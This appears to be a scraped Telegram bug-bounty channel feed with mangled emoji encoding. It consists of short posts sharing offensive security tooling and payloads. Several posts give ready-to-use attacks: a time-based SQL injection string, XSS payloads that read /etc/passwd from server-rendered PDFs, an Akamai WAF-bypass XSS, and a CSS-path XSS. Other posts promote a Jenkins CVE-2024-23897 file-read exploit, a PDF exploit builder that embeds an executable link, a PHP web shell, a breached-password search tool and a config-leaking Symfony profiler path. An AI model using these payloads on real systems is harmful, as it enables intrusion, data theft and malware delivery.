Exploitation and scanning tool specifically designed for Jenkins versions
<= 2.441 & <= LTS 2.426.2. It leverages CVE-2024-23897 to assess and exploit vulnerabilities in Jenkins instances.Ensure you have the necessary permissions to scan and exploit the target systems. Use this tool responsibly and ethically.
python CVE-2024-23897.py -t <target> -p <port> -f <file>
or
python CVE-2024-23897.py -i <input_file> -f <file>
-t or --target: Specify the target IP(s). Supports single IP, IP range, comma-separated list, or CIDR block.-i or --input-file: Path to input file containing hosts in the format of http://1.2.3.4:8080/ (one per line).-o or --output-file: Export results to file (optional).-p or --port: Specify the port number. Default is 8080 (optional).-f or --file: Specify the file to read on the target system.BugCod3#CVE #PoC #Scanner
Please open Telegram to view this post
VIEW IN TELEGRAM
โก4โค3๐ฅ1
10000 h1 disclosed reports
๐ฌ
On
๐ธ Github
โฌ๏ธ Download
๐
#Python #H1 #Report
โ โ โ โ โ โ โ โ โ โ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
On
31st Dec 2023, I made it my goal to read 10,000 H1 Reports in 2024 Q1 (i.e. first 3 months) to really understand deep down what kind of bugs are being reported, accepted, or rejected and how exactly I should approach my journey in #bugbounty. Also, I thought, there was no better resource than actual disclosed bug reports. Later I decided to cap my goal at *5000* because I think I nailed the common pattern and already accomplished what I wanted to get out of it.BugCod3#Python #H1 #Report
Please open Telegram to view this post
VIEW IN TELEGRAM
โก3โค2๐ฅ1๐ฏ1
Google Bug Bounty Dorks Generator
๐ Site
#BugBounty #Tips
โ โ โ โ โ โ โ โ โ โ
๐ฃ T.me/BugCod3
๐ฃ T.me/LearnExploit
#BugBounty #Tips
Please open Telegram to view this post
VIEW IN TELEGRAM
โก2โค1๐1๐ฅ1๐ฏ1
This Burp extension allows you to spin up a DigitalOcean droplet based on an OpenVPN configuration file. The droplet also functions as a SOCKS5 proxy to allow routing all Burp traffic through the VPN tunnel. The Burp proxy settings are automatically configured to route traffic through the SOCKS5 and OpenVPN droplet.
build/libs/digitalocean-droplet-openvpn-all.jar or build from source yourself;ifconfig.co to easily verify if the VPN is working correctlyBugCod3#Burp #Extension #bugbounty
Please open Telegram to view this post
VIEW IN TELEGRAM
โค3โก1๐1๐ฅ1๐ฏ1
๐ซ๐ฆ๐ฆ ๐ถ๐ป ๐๐ต๐ฒ .๐ฐ๐๐ ๐จ๐ฅ๐ ๐ฝ๐ฎ๐๐ต
๐ข๐ฟ๐ถ๐ด๐ถ๐ป๐ฎ๐น ๐จ๐ฅ๐:
๐ซ๐ฆ๐ฆ ๐๐ผ๐๐ป๐ฑ ๐ถ๐ป:
#BugBounty #Tips
โ โ โ โ โ โ โ โ โ โ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
๐ข๐ฟ๐ถ๐ด๐ถ๐ป๐ฎ๐น ๐จ๐ฅ๐:
"target/lib/css/animated.min.css"๐ซ๐ฆ๐ฆ ๐๐ผ๐๐ป๐ฑ ๐ถ๐ป:
"/lib/css/animated.min'"/><script%20>alert(document.domain)<%2fscript>.css"#BugBounty #Tips
Please open Telegram to view this post
VIEW IN TELEGRAM
โค3๐3๐ฅ3โก1๐ฏ1
This is very cool. Get cheatsheets in your terminal with a curl command!
โจ๏ธ Try this:
#Tips
โ โ โ โ โ โ โ โ โ โ
๐ฃ T.me/BugCod3
๐ฃ T.me/LearnExploit
curl https://cht.sh/sqlmap#Tips
Please open Telegram to view this post
VIEW IN TELEGRAM
โค3๐3โก1๐ฅ1๐ฏ1
LeakSearch is a simple tool to search and parse plain text passwords using ProxyNova COMB (Combination Of Many Breaches) over the Internet. You can define a custom proxy and you can also use your own password file, to search using different keywords: such as user, domain or password.
In addition, you can define how many results you want to display on the terminal and export them as JSON or TXT files. Due to the simplicity of the code, it is very easy to add new sources, so more providers will be added in the future.
Requirements:
pip install -r requirements.txtLeakSearch.py [-h] [-d DATABASE] [-k KEYWORD] [-n NUMBER] [-o OUTPUT] [-p PROXY]BugCod3#Python #Search #Parse #Password
Please open Telegram to view this post
VIEW IN TELEGRAM
๐ฅ3โค2โก1๐1๐ฏ1
POC Pdf-exploit builder on C#
Exploitable versions: Foxit Reader, Adobe Acrobat V9(maybe).
Put your exe-link and build the PDF-FILE
BugCod3#C #PDF #Exploit
Please open Telegram to view this post
VIEW IN TELEGRAM
โก3๐ฅ3โค2๐2
p0wny@shell:~# is a very basic, single-file, PHP shell. It can be used to quickly execute commands on a server when pentesting a PHP application. Use it with caution: this script represents a security risk for the server.
โ โ)Tab key)cd command)upload <destination_file_name> command)download <file_name> command)Demo with Docker:
docker build -t p0wny .
docker run -it -p 8080:80 -d p0wny
# open with your browser http://127.0.0.1:8080/shell.php
BugCod3#PHP #Shell #Pentesting
Please open Telegram to view this post
VIEW IN TELEGRAM
๐ฅ3โก2โค1
If you find Web frameworks like Symfony, add
to the wordlist, and you may get juicy data.
#BugBounty #Tips
โโโโโโโโโโ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
'/app_dev.php/_profiler/open?file=app/config/parameters.yml'to the wordlist, and you may get juicy data.
#BugBounty #Tips
โโโโโโโโโโ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
๐ฅ5โก2โค1
Tip for Stored XSS Bypass on Profile Uploader:
+add magic number (jpg , jpeg)
+bypass file extention Protection
Magic Number
#BugBounty #Tips
โโโโโโโโโโ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
+add magic number (jpg , jpeg)
+bypass file extention Protection
Magic Number
#BugBounty #Tips
โโโโโโโโโโ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
โก8โค1๐1
Canarytokens
You'll be familiar with web bugs, the transparent images which track when someone opens an email. They work by embedding a unique URL in a page's image tag, and monitoring incoming GET requests.
Imagine doing that, but for file reads, database queries, process executions or patterns in log files. Canarytokens does all this and more, letting you implant traps in your production systems rather than setting up separate honeypots.
๐ Site
#Pentesting #BugBounty
โโโโโโโโโโ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
You'll be familiar with web bugs, the transparent images which track when someone opens an email. They work by embedding a unique URL in a page's image tag, and monitoring incoming GET requests.
Imagine doing that, but for file reads, database queries, process executions or patterns in log files. Canarytokens does all this and more, letting you implant traps in your production systems rather than setting up separate honeypots.
๐ Site
#Pentesting #BugBounty
โโโโโโโโโโ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
โก5
This media is not supported in your browser
VIEW IN TELEGRAM
Translate JavaScript to other writing systems!
Site
ฮYใญIแใณฮ ๐พ
โโโโโโโโโโ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
Site
ฮYใญIแใณฮ ๐พ
โโโโโโโโโโ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
โค2โก2๐ฅ1
LFI Vulnerability Testing: Key Parameters
?dir={payload}
?action={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?include={payload}
?page={payload}
?locate={payload}
?site={payload}
#BugBounty #infosec
โโโโโโโโโโ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
?dir={payload}
?action={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?include={payload}
?page={payload}
?locate={payload}
?site={payload}
#BugBounty #infosec
โโโโโโโโโโ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
โก2โค1๐ฅ1
For 0Day SQLI in
(app extension)
payload was:
#BugBounty #Tips
โโโโโโโโโโ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
(app extension)
payload was:
(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/#BugBounty #Tips
โโโโโโโโโโ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
โค2โก1๐1๐ฅ1
XSS to Exfiltrate Data from PDFs
How to use:
Server Side XSS (Dynamic PDF)
#XSS #PDF
โโโโโโโโโโ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};http://x.open(โGETโ,โfile:///etc/hostsโ);x.send();</script><script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};http://x.open(โGETโ,โfile:///etc/passwdโ);x.send();</script>How to use:
Server Side XSS (Dynamic PDF)
#XSS #PDF
โโโโโโโโโโ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
๐ฅ3โค2โก1
โโโ(BugCod3ใฟkali)-[~]
โโ$ sudo rm -rf *1402
โโโ(BugCod3ใฟkali)-[~]
โโ$ sudo mkdir 1403#Notification #NewYear
โโโโโโโโโโ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
โค5โก1๐ฅ1
If you are testing API, before fuzzing observe these:
1. Does it throw same data for /v1/user and /v1/user
2. Is it case sensitive?
/v1/user => 200 OK
/v1/USER => 200 OK
OR
/v1/user => 200 OK
/v1/User => 404
How is the naming convention used? user_groups or userGroups , etc then you can build your fuzzing wordlist according to this data, but there are always exceptions.
#BugBounty #Tips
โโโโโโโโโโ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
1. Does it throw same data for /v1/user and /v1/user
2. Is it case sensitive?
/v1/user => 200 OK
/v1/USER => 200 OK
OR
/v1/user => 200 OK
/v1/User => 404
How is the naming convention used? user_groups or userGroups , etc then you can build your fuzzing wordlist according to this data, but there are always exceptions.
#BugBounty #Tips
โโโโโโโโโโ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
๐3โค1โก1๐ฅ1
Akamai WAF bypass XSS
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
<input id=b value=javascrip>
<input id=c value=t:aler>
<input id=d value=t(1)>
<lol
contenteditable
onbeforeinput='location=b.value+c.value+d.value'>
#BugBounty #Tips
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
โก1โค1๐ฅ1